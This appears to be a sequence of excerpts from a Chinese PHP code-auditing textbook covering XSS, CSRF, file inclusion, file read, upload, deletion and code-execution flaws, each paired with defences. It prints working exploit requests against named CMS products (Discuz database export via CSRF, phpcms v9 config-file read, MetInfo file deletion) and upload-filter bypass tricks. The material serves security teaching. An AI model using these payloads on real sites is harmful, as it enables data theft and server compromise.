    {"text": "这种漏洞有两种情况，一种是通过外部输入然后直接在浏览器端触发，即反射型XSS； 还有一种则是先把利用代码保存在数据库或文件中，当Web程序读取利用代码并输出在页面上时触发漏洞，也就是存储型XSS。 XSS攻击在浏览器端触发，大家对其危害认识往往停留在可以窃取cookie、修改页面钓鱼，等等。 用一句话来说明该漏洞的危害就是：前端页面能做的事它都能做。"},
    {"text": "4.2.1 挖掘经验 挖掘XSS漏洞的关键在于寻找没有被过滤的参数，且这些参数传入到输出函数，常用的输出函数列表如下：print、print_r、echo、printf、sprintf、die、var_dump、var_export，所以我们只要寻找带有变量的这些函数即可。"},
    {"text": "另外在代码审计中，XSS漏洞在浏览器环境对利用的影响非常大，所以最重要的还要掌握各种浏览器容错、编码等特性和数据协议。 关于XSS漏洞的东西可以再写一本厚厚的书，由于篇幅问题，这些东西就不在这里详细介绍了，推荐阅读邱永华的《XSS跨站脚本攻击剖析与防御》和余弦的《Web前端黑客技术揭秘》。"},
    {"text": "XSS漏洞经常出现在文章发表、评论回复、留言以及资料设置等地方，特别是在发文章的时候，因为这里大多都是富文本，有各种图片引用、文字格式设置等，所以经常出现对标签事件过滤不严格导致的XSS，同样，评论回复以及留言也是。"},
    {"text": "其次在资料设置的地方，比如用户昵称、签名等，有的应用可能不只一处设置资料的地方，像在注册的地方可以设置、修改资料的地方可以设置，这时候要多留意，不一定所有设置这个资料的地方都过滤严格了。"},
    {"text": "4.2.1.1 反射型XSS 反射型XSS也就是我们在描述里面说直接通过外部输入然后在浏览器端输出触发的类型，这种类型的漏洞比较容易通过扫描器黑盒直接发现，只需要将尖括号、单双引号等提交到Web服务器，检查返回的HTML页面里面有没有保留原来的特殊字符即可判断。"},
    {"text": "举例一个反射型XSS漏洞的大致形式，代码如下： // 以下是 QQ 私密接口 if （ $_GET[\"openid\"] ） { // 授权成功后，会返回用户的 openid // 检查返回的 openid 是否是合法 id //echo $_GET[\"oauth_signature\"] ；"},
    {"text": "} 代码中echo\"sig：\".$_GET[\"oauth_signature\"].\"\\n\"； 直接将$_GET[\"oauth_signature\"]的值输出到浏览器中，则可以直接用GET方式注入代码。"},
    {"text": "4.2.1.2 存储型XSS 存储型XSS，顾名思义也就是需要先把利用代码保存在比如数据库或文件中，当Web程序读取利用代码并输出在页面上时执行利用代码，它的原理图流程图如图4-5所示。 图 4-5 存储型XSS比反射型要容易利用得多，不用考虑绕过浏览器的过滤，另外在隐蔽性上面也要好得多，特别是在社交网络中的存储型XSS蠕虫能造成大面积的传播，影响非常大，曾经在新浪微博和百度贴吧都爆发过大规模的XSS蠕虫。 同样，要挖掘存储型XSS也是要寻找未过滤的输入点和未过滤的输出函数，这个最终的输出点可能跟输入点完全不在一个业务流上，对于这类可以根据当前代码功能去猜，或者老老实实去追哪里有操作过这个数据，使用表名、字段名去代码里面搜索。"},
    {"text": "4.2.1.3 骑士cms存储型XSS分析 这里笔者临时找了一个叫骑士cms的程序看了下，在后台申请友情链接的地方存在XSS漏洞，常规的特殊字符（如尖括号）和标签的事件（如onerror等）大多被过滤，漏洞挖掘过程如下。 安装好骑士cms后，在后台看到一个友情链接管理如图4-6所示。 图 4-6 前台有一个申请友情链接，根据经验这个申请友情链接的地方应该是一个payload输入的地方，我们先看看/admin/admin_link.php的代码： $act = ！"},
    {"text": "这里是判断访问admin_link.php这个文件的时候有没有act参数，没有就给$act变量赋值为list，即进入到输出友情链接列表的代码： $offset= （ $currenpage-1 ） *$perpage ； $link = get_links （ $offset ， $perpage ， $joinsql.$wheresql.$oederbysql ）； $smarty->assign （ 'link' ， $link ）； $smarty->assign （ 'page' ， $page->show （ 3 ））； $smarty->assign （ 'upfiles_dir' ， $upfiles_dir ）； $smarty->assign （ 'get_link_category' ， get_link_category （））； $smarty->assign （ 'navlabel' ， \"list\" ）； $smarty->display （ 'link/admin_link.htm' ）； get_links（）函数代码如下： function get_links （ $offset ， $perpage ， $get_sql= '' ） { global $db ；"},
    {"text": "$result = $db->query （ \"SELECT l.* ， c.categoryname FROM \".table （ 'link' ） .\" AS l \".$get_sql.$limit ）； while （ $row = $db->fetch_array （ $result ）） { $row_arr[] = $row ； } return $row_arr ；"},
    {"text": "跟进模板页看看，有一个关键的代码片段如下： 其中： <spanduokan-code-cn\">：#FF6600\" title=\"<img src={#$list.link_logo#} border=0/>\" class=\"vtip\">[logo]</span> 这段代码是有问题的，这里直接把显示logo的img标签放在span标签的title里面，当鼠标滑过的时候会调用事件执行显示title即执行img标签，这里的利用点是{#$list.link_logo#}可以是HTML实体编码，从而绕过骑士cms的安全检查。 目前我们已经找到一个输出点了，输入点也根据当前代码功能猜到是在前台申请链接的地方，利用过程如下，在前台申请友情链接页面 http://localhost/74cms/link/add_link.php 的logo字段输入 1 oner&#114 ；"},
    {"text": "图 4-8 4.2.2 漏洞防范 由于XSS漏洞在不同浏览器下有不同的利用方式，而且特别是业务上有需求使用富文本编辑器的时候，防御起来就更加复杂，所以在XSS防御这块应该从多个方面入手，尽量减少XSS漏洞。 4.2.2.1 特殊字符HTML实体转码 一般的XSS漏洞都是因为没过滤特殊字符，导致可以通过注入单双引号以及尖括号等字符利用漏洞，比如一个图片标签如下<img src=\"$_GET['a']\"/>，则可以通过输入双引号来闭合第一个单引号利用漏洞，防御这类的XSS漏洞只需要过滤掉相关的特殊字符即可，特殊字符列表如下： 1）单引号（'） 2）双引号（\"） 3）尖括号（<>） 4）反斜杠（\\） 5）冒号（：） 6）and符（&） 7）#号（#） 还有两个问题，这些字符应该怎么过滤，什么时候过滤？"},
    {"text": "4.2.2.2 标签事件属性黑白名单 上面我们提到过滤特殊字符来防止XSS漏洞，实际上即使过滤了也同样可能会被绕过，比如利用跟宽字节注入一样的方式来吃掉反斜杠，再利用标签的事件来执行js代码，面对这样的情况，我们还得加标签事件的黑名单或者白名单，这里更推荐用白名单的方式，实现规则可以直接用正则表达式来匹配，如果匹配到的事件不在白名单列表，就直接拦截掉，而不是替换为空。"},
    {"text": "4.3 CSRF漏洞 CSRF全称为Cross-site request forgery，跨站请求伪造。 说白一点就是可以劫持其他用户去进行一些请求，而这个CSRF的危害性就看当前这个请求是进行什么操作了。"},
    {"text": "举一个最简单的例子，比如直接请求http://x.com/del.php?id=1可以删除ID为1的账号，但是只有管理员有这个删除权限，而如果别人在其他某个网站页面加入<img src=”http://x.com/del.php?id=1”>再把这个页面发送给管理员，只要管理员打开这个页面，同时浏览器也会利用当前登录的这个管理员权限发出http://x.com/del.php?id=1这个请求，从而劫持了这个账号做一些攻击者没有权限做的事情。 上面举的这个例子只是其中一个场景，更严重的像添加管理员账号、修改网站配置直接写入webshell等等都有很多案例。"},
    {"text": "4.3.1 挖掘经验 CSRF主要是用于越权操作，所有漏洞自然在有权限控制的地方，像管理后台、会员中心、论坛帖子以及交易管理等，这几个场景里面，管理后台又是最高危的地方，而CSRF又很少被关注到，因此至今还有很多程序都存在这个问题。 我们在挖掘CSRF的时候可以先搭建好环境，打开几个有非静态操作的页面，抓包看看有没有token，如果没有token的话，再直接请求这个页面，不带referer。 如果返回的数据还是一样的话，那说明很有可能有CSRF漏洞了，这个是一个黑盒的挖掘方法，从白盒角度来说的话，只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码，这里的核心文件指的是被大量文件引用的基础文件，或者直接搜\"token\"这个关键字也能找，如果在核心文件没有，再去看看你比较关心的功能点的代码有没有验证。"},
    {"text": "Discuz CSRF备份拖库分析 下面我们来分析一个Discuz CSRF可以直接脱裤的漏洞，这个漏洞影响非常大，漏洞在刚公开的时候导致了大量的Discuz论坛被拖库，漏洞来源乌云缺陷编号：WooYun-2014-64886，作者是跟笔者同一个team（safekey）的matt。"},
    {"text": "$backupdir ） {$backupdir = random （ 6 ）； @mkdir （ './data/backup_'.$backupdir ， 0777 ）； // 文件夹名是六位随机数 C ：： t （ 'common_setting' ） ->update （ 'backupdir' ， $backupdir ）；"},
    {"text": "$_GET['filename'] || ！ preg_match （ '/^[\\w\\_]+$/' ， $_GET['filename'] ）） { cpmsg （ 'database_export_filename_invalid' ， '' ， 'error' ）； }/* 省略，往下走 */$backupfilename = './data/'.$backupdir.'/'.str_replace （ array （ '/' ， '\\\\' ， '.' ， \"'\" ）， '' ， $_GET['filename'] ）； // 文件名从 $_GET['filename'] ）获取，可控 if （ $_GET['usezip'] ） { require_once './source/class/class_zip.php' ； } if （ $_GET['method'] == 'multivol' ） { $sqldump = '' ； $tableid = intval （ $_GET['tableid'] ）； $startfrom = intval （ $_GET['startfrom'] ）；"},
    {"text": "$complete && $tableid < count （ $tables ） && strlen （ $sqldump ） + 500 < $_GET ['sizelimit'] * 1000 ； $tableid++ ） { $sqldump .= sqldumptable （ $tables[$tableid] ， $startfrom ， strlen （ $sqldump ））； if （ $complete ） { $startfrom = 0 ； } } $dumpfile = $backupfilename.\"-%s\".'.sql' ； //$dumpfile 为最终导出文件名，下面的代码是写文件 在这个漏洞中，由于表名和文件都是直接GET提交的，目录名由一个固定的backup加上一个六位数字组成，备份成功后可以直接爆破，最终利用可以直接在论坛发帖加入下面代码即可： <img src=\"http ： //127.0.0.1/discuz/admin.php ？ action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables%5B%5D={ 表名 }&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename={ 文件名 }&exportsubmit=%CC%E1%BD%BB22\"> 利用截图，如图4-9所示。"},
    {"text": "4.3.2 漏洞防范 防御CSRF漏洞的最主要问题是解决可信的问题，即使是管理员权限提交到服务器的数据，也不一定是完全可信的，所以针对CSRF的防御有以下两点：1）增加token/referer验证避免img标签请求的水坑攻击，2）增加验证码。"},
    {"text": "利用验证Token的方式是目前使用的最多的一种，也是效果最好的一种，可以简单理解成在页面或者cookie里面加一个不可预测的字符串，服务器在接收操作请求的时候只要验证下这个字符串是不是上次访问留下的即可判断是不是可信请求，因为如果没有访问上一个页面，是无法得到这个Token的，除非结合XSS漏洞或者有其他手段能获得通信数据。"},
    {"text": "function set_token （） { $_SESSION['token'] = md5 （ time （） +rand （ 1 ， 1000 ））； } function check_token （） { if （ isset （ $_POST['token'] ） &&$_POST['token'] === $_SESSION['token'] ） { return true ；"},
    {"text": "4.3.2.2 验证码验证 验证码验证没有Token那么实用，考虑到用户体验，不可能让用户每个页面都去输入一次验证码，这估计用户得疯掉，所以一般这种方式只用在敏感操作的页面，比如像登录页面，实现方式跟Token差不多，这里就不再详细给出代码。"},
    {"text": "第5章 漏洞挖掘与防范（进阶篇） 在本章我们会介绍文件操作、系统命令执行以及代码执行有关的漏洞，会从应用接触到更多系统以及中间件特性有关的东西，所以会相当有意思，进入到本书的进阶篇，是不是更兴奋呢？"},
    {"text": "5.1 文件操作漏洞 文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传，这几种文件操作的漏洞有部分的相似点，但是每种漏洞都有各自的漏洞函数以及利用方式，下面我们来具体分析下它们的形成原因、挖掘方式以及修复方案。 5.1.1 文件包含漏洞 PHP的文件包含可以直接执行包含文件的代码，包含的文件格式是不受限制的，只要能正常执行即可。 文件包含又分为本地文件包含（local file include）和远程文件包含（remote file include），顾名思义就能理解它们的差别在哪，而不管哪种都是非常高危的，渗透过程中文件包含漏洞大多可以直接利用获取webshell。"},
    {"text": "文件包含函数有include（）、include_once（）、require（）和require_once（），它们之间的区别在于：include（）和include_once（）在包含文件时即使遇到错误，下面的代码依然会继续执行；"},
    {"text": "5.1.1.1 挖掘经验 文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方，比如传入的模块名参数，实际上是直接把这个拼接到了包含文件的路径中，比如像espcms的代码： $archive = indexget （ 'archive' ， 'R' ）；"},
    {"text": "传入的archive参数就是被包含的文件名，所以我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程，看看里面模块加载时包含的文件是否可控，另外就是直接搜索include（）、include_once（）、require（）和require_once（）这四个函数来回溯看看有没有可控的变量，它们的写法可以在括号里面写要包含的路径，也可以直接用空格再跟路径。"},
    {"text": "5.1.1.2 本地文件包含 本地文件包含（local file include，LFI）是指只能包含本机文件的文件包含漏洞，大多出现在模块加载、模板加载和cache调用这些地方，渗透的时候利用起来并不鸡肋，本地文件包含有多种利用方式，比如上传一个允许上传的文件格式的文件再包含来执行代码，包含PHP上传的临时文件，在请求URL或者ua里面加入要执行的代码，WebServer记录到日志后再包含WebServer的日志，还有像Linux下可以包含/proc/self/environ文件。"},
    {"text": "图 5-1 1.远程文件包含 远程文件包含（remote file include，RFI）是指可以包含远程文件的包含漏洞，远程文件包含需要设置allow_url_include=On，PHP5.2之后这个选项的可修改范围是PHP_INI_ALL。"},
    {"text": "四个文件包含的函数都支持HTTP、FTP等协议，相对于本地文件包含，它更容易利用，不过出现的频率没有本地文件包含多，偶尔能挖到，下面我们来看看基于HTTP协议测试代码： < ？"},
    {"text": "远程文件包含还有一种PHP输入输出流的利用方式，可以直接执行POST代码，这里我们仍然用上面这个代码测试，只要执行POST请求1.php？ a=php：//input，POST内容为PHP代码\"<？"},
    {"text": "2.文件包含截断 大多数的文件包含漏洞都是需要截断的，因为正常程序里面包含的文件代码一般是像include（BASEPATH.$mod.'.php'）或者include（$mod.'.php'）这样的方式，如果我们不能写入以.php为扩展名的文件，那我们是需要截断来利用的。"},
    {"text": "%00截断受限于GPC和addslashes等函数的过滤，也就是说，在开启GPC的情况下是不可用的，另外在PHP5.3之后的版本全面修复了文件名%00截断的问题，所以在5.3之后的版本也是不能用这个方法截断的。 下面我们来演示一下%00截断，测试代码1.php： < ？"},
    {"text": "）来伪截断，不受GPC和PHP版本限制，只要能返回代码给包含函数，它就能执行，在HTTP协议里面访问 http://remotehost/1.txt 和访问 http://remotehost/1.txt?.php 返回的结果是一样的，因为这时候WebServer把问号（？ ）之后的内容当成是请求参数，而txt不在WebServer里面解析，参数对访问1.txt返回的内容不影响，所以就实现了伪截断。"},
    {"text": "漏洞出现在文件/message/index.php，这个地方调用模块方式是直接从GET请求中获取模块名，拼接到require_once函数中，因此模块名可控导致了可以远程包含文件，代码如下： if （！"},
    {"text": "$metid ） $metid='index' ； if （ $metid ！ ='index' ） { require_once $metid.'.php' ； }else{ /* 省略 */ } $metid是从GET提交的，这段代码的意思是，如果提交的参数metid不是index，则执行require_once$metid.'.php'去包含加载模块文件，这里可以用我们上面说的三种方式来利用，假设allow_url_include=on，只要在远程写一个1.txt的文件，利用问号来伪截断即可，或者搭一个不解析PHP的WebServer，访问的时候不加文件扩展名，这里给出当时写文档时留的一个截图，如图5-4所示。"},
    {"text": "图 5-4 5.1.2 文件读取（下载）漏洞 文件读取漏洞与下载漏洞差别不大，这里就合并在一起说，文件读取漏洞在很多大型应用上都出现过，印象比较深的是2012年的时候phpcmsv9的任意文件读取，可以直接读取数据库配置文件，当时也是有很多企业因为这个漏洞被入侵。 这个漏洞很容易理解，部分程序在下载文件或者读取显示文件的时候，读取文件的参数filename直接在请求里面传递，后台程序获取到这个文件路径后直接读取返回，问题在于这个参数是用户可控的，可以直接传入想要读取的文件路径即可利用。 挖掘经验： 文件读取的漏洞寻找起来很是比较容易的，一种方式是可以先黑盒看看功能点对应的文件，再去读文件，这样找起来会比较快。 另外一种方式就是去搜索文件读取的函数，看看有没有可以直接或者间接控制的变量，文件读取函数列表如下：file_get_contents（）、highlight_file（）、fopen（）、readfile（）、fread（）、fgetss（）、fgets（）、parse_ini_file（）、show_source（）、file（），除了这些正常的读取文件的函数之外，另外一些其他功能的函数也一样可以用来读取文件，比如文件包含函数include等，可以利用PHP输入输出流php：//filter/来读取文件。 phpcms任意文件读取分析 这里介绍phpcms v9的任意文件读取漏洞，漏洞作者为safekey team核心成员zvall。 漏洞位于文件/phpcms/modules/search/index.phppublic_的get_suggest_keyword函数，代码如下： public function public_get_suggest_keyword （） { $url = $_GET['url'].'&q='.$_GET['q'] ；"},
    {"text": "} 这里可以看到该函数直接从GET参数里面获取要读取的URL，然后使用file_get_contents函数来读取内容，不过这里有一点要说一下，如果直接提交？ url=&q=1.php我们打印出来url变量可以看到值为“&q=1.php”，带到函数里面则是file_get_contents（“&q=1.php”），这样是读不到当前文件的，需要？ url=&q=../../1.php这样多加两个”../”，把“&q=”当成目录来跳过，最终这个漏洞读取数据库配置文件的EXP为： /index.php ？ m=search&c=index&a=public_get_suggest_keyword&url=&q=../../phpsso_server/caches/configs/database.php 利用截图如图5-5所示。"},
    {"text": "图 5-5 5.1.3 文件上传漏洞 文件上传漏洞是出现最早的漏洞，也是最容易理解的漏洞，应用程序都是代码写的，代码都是写在文件里面执行的，如果能把文件上传到管理员或者应用程序不想让你上传的目录，那就是存在文件上传漏洞。 注意这里并不是说一定是上传一个WebServer可以解析的代码文件到可以解析的目录，漏洞的定义是做攻击目标不想让你做的事情，而你又发现可以做到。"},
    {"text": "在早期Web安全不太普及的时候，文件上传漏洞大多是没有限制文件格式导致可以直接上传文件，到近几年这类例子已经很少见，目前存在较多的是黑名单过滤存在绕过导致文件上传漏洞。 挖掘经验： 文件上传漏洞比较好理解，同样挖掘起来也比较简单，一般应用可以上传文件的点比较少，其次是目前大多Web应用都是基于框架来写，上传的点都是调用的同一个上传类，上传函数又只有move_uploaded_file（）这一个，所以文件上传漏洞在代码审计的时候，最快的方法就是直接去搜索move_uploaded_file（）函数，再去看调用这个函数上传文件的代码存不存在未限制上传格式或者可以绕过，其中问题比较多的是黑名单限制文件格式以及未更改文件名的方式，没有更改文件名的情况下，在Apache利用其向前寻找解析格式和IIS6的分号解析bug都可以执行代码。 1.未过滤或本地过滤 未过滤和本地过滤共同点是在服务器端都未过滤，这个未过滤指的是没限制任何格式的文件上传，就是一个最简单的文件上传功能，上传的时候直接上传PHP格式的文件即可利用，它的代码简化之后就直接是下面这样： < ？"},
    {"text": "PHP能够在大多数的WebServer上配置解析，不同的WebServer默认有不同的可以解析的扩展名，典型的IIS默认是支持解析ASP语言的，不过在IIS下执行ASP的代码可不止.asp这个扩展名，还有cdx、asa、cer等，如果代码里面没有把这些写全，一旦漏掉一个就相当于没做限制。 我们来看看PHPCMSv9里面限制的： $savefile = preg_replace （ \"/ （ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm |aspx|asax|cgi|fcgi|pl ）（ \\.|$ ） /i\" ， \"_\\\\1\\\\2\" ， $savefile ）；"},
    {"text": "// 获取文件扩展名 $FilenameExt = strtolower （ getExt （ $_FILES[\"file\"][\"name\"] ））； # 判断是否在被允许的扩展名里 if （ in_array （ $FilenameExt ， $disallowed_types ）） { die （ \"disallowed type\" ）； } else { $filename = time （） .\".\".$FilenameExt ； // 移动文件 move_uploaded_file （ $_FILES[\"file\"][\"tmp_name\"] ， \"upload/\" . $FileName ）； } 这段代码的问题在获取文件扩展名与验证扩展名，如果我们上传文件的时候文件名为“1.php”，注意后面有一个空格，则这里$FilenameExt的值为“php”，后面有一个空格，这时候in_array（$FilenameExt，$disallowed_types）是返回false的，最终成功上传文件。 另外一种情况是正确的黑名单方式验证了扩展名，但是文件名没有修改，导致可以在上传时使用“%00”来截断写入，如“1.php%00.jpg”，验证扩展名时拿到的扩展名是jpg，写入的时候被%00截断，最终写入文件1.php，这里不再给出案例。 3.文件头、content-type验证绕过 这两种方式也是早期出现得比较多的，早期搞过渗透的人可能遇到过，上传文件的时候，如果直接上传一个非图片文件会被提示不是图片文件，但是在文件头里面加上“GIF89a”后上传，则验证通过，这是因为程序用了一些不可靠的函数去判断是不是图片文件，比如getimagesize（）函数，只要文件头是“GIF89a”，它就会正常返回一个图片的尺寸数组，我们来验证一下，测试代码： < ？"},
    {"text": "图 5-6 content-type是在http request的请求头里面，所以这个值是可以由请求者自定义修改的，而早期的一些程序只是单纯验证了这个值，笔者在写这段文字的时候还专门去w3school等网站看了上面的PHP教程就存在这个问题。"},
    {"text": "php $type = $_FILES['img']['type'] ； if （（ $type == \"image/pjpeg\" ） || （ $type == \"image/jpg\" ） || （ $type == \"image/jpeg\" ） || （ $type == \"image/gif\" ） || （ $type == \"image/bmp\" ） || （ $type == \"image/png\" ） || （ $type == \"image/x-png\" ）） { //uploading } ？"},
    {"text": "> 4.phpcms任意文件上传分析 这里我们以PHPCMSv9在2014年公开的一个会员投稿处文件上传漏洞，漏洞作者felixk3y，漏洞乌云编号：wooyun-2014-062881，漏洞在文件/phpcms/libs/classes/attachment.class.php的upload（）函数，为了易于理解，这里省略部分代码，代码如下： function upload （ $field ， $alowexts = '' ， $maxsize = 0 ， $overwrite = 0 ， $thumb_setting = array （）， $watermark_enable = 1 ） { /*** 省略 ***/ $this->alowexts = $alowexts ； // 获取允许上传的类型 /*** 省略 ***/ foreach （ $uploadfiles as $k=>$file ） { // 多文件上传，循环读取文件上传表单 $fileext = fileext （ $file['name'] ）； // 获取文件扩展名 /*** 省略 ***/ // 检查上传格式，不过 $alowexts 是从表单提交的，可绕过 if （！ preg_match （ \"/^ （ \".$this->alowexts.\" ） $/\" ， $fileext ）） { $this->error = '10' ；"},
    {"text": "} /*** 省略 ***/ $temp_filename = $this->getname （ $fileext ）； $savefile = $this->savepath.$temp_filename ； $savefile = preg_replace （ \"/ （ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl ）（ \\.|$ ） /i\" ， \"_\\\\1\\\\2\" ， $savefile ）； // 最需要绕过的地方在这里 /*** 保存文件 ***/ if （ @$upload_func （ $file['tmp_name'] ， $savefile ）） { 从上面的代码我们可以看出，这个漏洞最有意思的地方在： $savefile = preg_replace （ \"/ （ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa| shtml|shtm |aspx|asax|cgi|fcgi|pl ）（ \\.|$ ） /i\" ， \"_\\\\1\\\\2\" ， $savefile ）； 而获取文件扩展名的函数内容为： function fileext （ $filename ） { return strtolower （ trim （ substr （ strrchr （ $filename ， '.' ）， 1 ， 10 ）））；"},
    {"text": "} 这里用了trim（）函数去掉了空格，我们之前举例用空格绕过的方式在这里就不好使了，那有没有其他字符一样可以达到空格的效果呢，即“1.phpX”，X代表某个字符？"},
    {"text": "仔细看正则会把如“1.php”替换为“1._php”，把“1.php.jpg”替换为“1._php.jpg”，作者利用fuzz的方式找到了%81-%99是可行的，仅在Windows下。"},
    {"text": "5.1.4 文件删除漏洞 文件删除漏洞出现在有文件管理功能的应用上比较多，这些应用一般也都有文件上传和读取等功能，它的漏洞原理跟文件读取漏洞是差不多的，不过是利用的函数不一样而已，一般也是因为删除的文件名可以用../跳转，或者没有限制当前用户只能删除他该有权限删除的文件。 常出现这个漏洞的函数是unlink（），不过老版本下session_destroy（）函数也可以删除文件。 挖掘经验： 挖掘文件删除漏洞可以先去找相应的功能点，直接黑盒测试一下看能不能删除某个文件，如果删除不了，再去从执行流程去追提交的文件名参数的传递过程，这样查找起来比较精准。"},
    {"text": "关于session_destroy（）函数删除任意文件的漏洞这里就不再举例了，因为在比较早的PHP版本就已经修复掉了这个问题，限制了PHPSESSID只能由“字母+数字+横杆”符号组成。"},
    {"text": "Metinfo任意文件删除分析 这里的案例使用笔者之前发现的一个metinfo企业内容管理系统漏洞来说明，漏洞在recovery.php文件，代码如下： if （ $action=='delete' ） { if （ is_array （ $filenames ）） { foreach （ $filenames as $filename ） { if （ fileext （ $filename ） =='sql' ） { @unlink （ '../databack/'.$filename ）；"},
    {"text": "} } }else{ if （ fileext （ $filenames ） =='sql' ） { $filenamearray=explode （ \".sql\" ， $filenames ）； @unlink （ '../../databack/'.$filenames ）； @unlink （ '../../databack/sql/metinfo_'.$filenamearray[0].\".zip\" ）； }else{ // 如果不是 SQL 文件，直接删除 @unlink （ '../../databack/'.$fileon.'/'.$filenames ）； } } 这段代码首先判断请求的action参数的值是不是delete，如果是则进入文件删除功能，在代码： if （ fileext （ $filenames ） =='sql' ） { 判断如果不是sql文件后，就直接在databack目录删除提交的文件名，代码中$filenames函数从GET中提交，只要请求： /recovery.php ？ &action=delete&filenames=../../index.php 即可删除index.php文件。"},
    {"text": "5.1.5 文件操作漏洞防范 文件操作漏洞在部分原理及利用方式上面都有一定相似性，所以下面我们分为通用防御手段和针对性防御手段来介绍怎么防御文件操作漏洞。 5.1.5.1 通用文件操作防御 文件操作漏洞利用有几个共同点如下： 1）由越权操作引起可以操作未授权操作的文件。"},
    {"text": "我们需要这几个共同点来思考防御手段： ·对权限的管理要合理，比如用户A上传的文件其他平行权限的用户在未授权的情况下不能进行查看和删除等操作，特殊的文件操作行为限定特定用户才有权限，比如后台删除文件的操作，肯定是需要限制管理员才能操作。 ·有的文件操作是不需要直接传入文件名的，比如下载文件的时候，下载的文件是已知的，则我们可以用更安全的方法来替代直接以文件名为参数下载操作，在上传文件时，只要把文件名、文件路径、文件ID（随机MD5形式）以及文件上传人存储在数据库中，下载的时候直接根据文件ID和当前用户名去判断当前用户有没有权限下载这个文件，如果有则读取路径指向的这个文件并返回下载即可。 ·要避免目录跳转的问题，在满足业务需求的情况下，我们可以使用上面第二说的方法，但是有的情况下如后台进行文件编辑等操作时，需要传入文件路径的，可以在后台固定文件操作目录，然后禁止参数中有“..”两个点和反斜杠“/”以及斜杠“\\”来跳转目录，怎么禁止呢？ 检查到传入的参数有这些字符，之间提示禁止操作并停止程序继续往下执行即可。 5.1.5.2 文件上传漏洞防范 文件上传漏洞相比下载、删除更复杂，所以这里单独拿出来讲一下怎么防范，文件上传漏洞虽然定位起来比较简单，但是修复起来要考虑的东西还是不少，主要是不同环境下的利用场景比较多，需要比较完善的策略去防止漏洞出现。 修复和防止一种漏洞之前，要比较全的清楚这种漏洞在不同环境下的利用方式，这样才能防御的比较全，文件上传漏洞主要有两种利用方式，分为上传的文件类型验证不严谨和写入文件不规范。"},
    {"text": "in_array （ $FilenameExt ， $disallowed_types ）） { die （ \"disallowed type\" ）； } else { $filename = md5 （ time （） +rand （ 1 ， 10000 ）） .\".\".$FilenameExt ； // 移动文件 move_uploaded_file （ $_FILES[\"file\"][\"tmp_name\"] ， \"upload/\" . $FileName ）；"},
    {"text": "5.2 代码执行漏洞 代码执行漏洞是指应用程序本身过滤不严，用户可以通过请求将代码注入到应用中执行。 说得好理解一点，类似于SQL注入漏洞，可以把SQL语句注入到SQL服务执行，而PHP代码执行漏洞则是可以把代码注入应用中最终到WebServer去执行。 这样的漏洞如果没有特殊的过滤，相当于直接有一个Web后门存在，该漏洞主要由eval（）、assert（）、preg_replace（）、call_user_func（）、call_user_func_array（）、array_map（）等函数的参数过滤不严格导致，另外还有PHP的动态函数（$a（$b））也是目前出现比较多的。 5.2.1 挖掘经验 eval（）和assert（）函数导致的代码执行漏洞大多是因为载入缓存或者模板以及对变量的处理不严格导致，比如直接把一个外部可控的参数拼接到模板里面，然后调用这两个函数去当成PHP代码执行。 preg_replace（）函数的代码执行需要存在/e参数，这个函数原本是用来处理字符串的，因此漏洞出现最多的是在对字符串的处理，比如URL、HTML标签以及文章内容等过滤功能。"},
    {"text": "call_user_func（）和call_user_func_array（）函数的功能是调用函数，多用在框架里面动态调用函数，所以一般比较小的程序出现这种方式的代码执行会比较少。"},
    {"text": "array_map（）函数的作用是调用函数并且除第一个参数外其他参数为数组，通常会写死第一个参数，即调用的函数，类似这三个函数功能的函数还有很多。"},
    {"text": "除了上面这些函数导致的代码执行漏洞，还有一类非常常见的是动态函数的代码执行，比如下面这样的写法： $_GET （ $_POST[\"xx\"] ） 基于这种写法变形出来的各种异形，经常被用来当作Web后门使用，可以看到这里的PHP函数是从$_GET变量当做字符串传入进来的，这是PHP的一个特性。 5.2.1.1 代码执行函数 PHP代码执行有多种利用方式，但目前见得最多的还是由于函数的使用不当导致的，这类函数还不少，有eval（）、assert（）、preg_replace（）、call_user_func（）、call_user_func_array（）以及array_map（）等，下面我们来详细看看各自产生漏洞的原理和利用方式吧。 1.eval和assert函数 这两个函数原本的作用就是用来动态执行代码，所以它们的参数直接就是PHP代码，我们来看看是怎么使用的，测试代码如下： < ？"},
    {"text": "图 5-7 2.preg_replace函数 preg_replace函数的作用是对字符串进行正则处理，我们在上面的挖掘经验已经介绍了，它经常会出现漏洞的位置，下面我们来看看它在什么情况下才会出现代码执行漏洞。 它的参数和返回如下： mixed preg_replace （ mixed $pattern ， mixed $replacement ， mixed $subject [ ， int $limit = -1 [ ， int &$count ]] ） 这段代码的含义是搜索$subject中匹配$pattern的部分，以$replacement进行替换，而当$pattern处即第一个参数存在e修饰符时，$replacement的值会被当成PHP代码来执行，我们来看一个简单的例子（1.php）。"},
    {"text": "> 正则的意思是从$_GET['str']变量里搜索中括号[]中间的内容作为第一组结果，preg_replace（）函数第二个参数为'\\\\1'代表这里用第一组结果填充，这里是可以直接执行代码的，所以当我们请求/1.php？"},
    {"text": "图 5-8 3.调用函数过滤不严 call_user_func（）和array_map（）等数十个函数有调用其他函数的功能，其中的一个参数作为要调用的函数名，那如果这个传入的函数名可控，那就可以调用意外的函数来执行我们想知道的代码，也就是存在代码执行漏洞。 我们用call_user_func（）函数来举例，函数的作用是调用函数并且第二个参数作为要调用的函数的参数，官方说明如下： mixed call_user_func （ callable $callback [ ， mixed $parameter [ ， mixed $... ]] ） 该函数第一个参数为回调函数，后面的参数为回调函数的参数，测试代码如下： < ？"},
    {"text": "图 5-9 同类的函数还有如下这些： call_user_func （）、 call_user_func_array （）、 array_map （） usort （）、 uasort （）、 uksort （）、 array_filter （） array_reduce （）、 array_diff_uassoc （）、 array_diff_ukey （） array_udiff （）、 array_udiff_assoc （）、 array_udiff_uassoc （） array_intersect_assoc （）、 array_intersect_uassoc （） array_uintersect （）、 array_uintersect_assoc （） array_uintersect_uassoc （）、 array_walk （）、 array_walk_recursive （） xml_set_character_data_handler （）、 xml_set_default_handler （） xml_set_element_handler （）、 xml_set_end_namespace_decl_handler （） xml_set_external_entity_ref_handler （）、 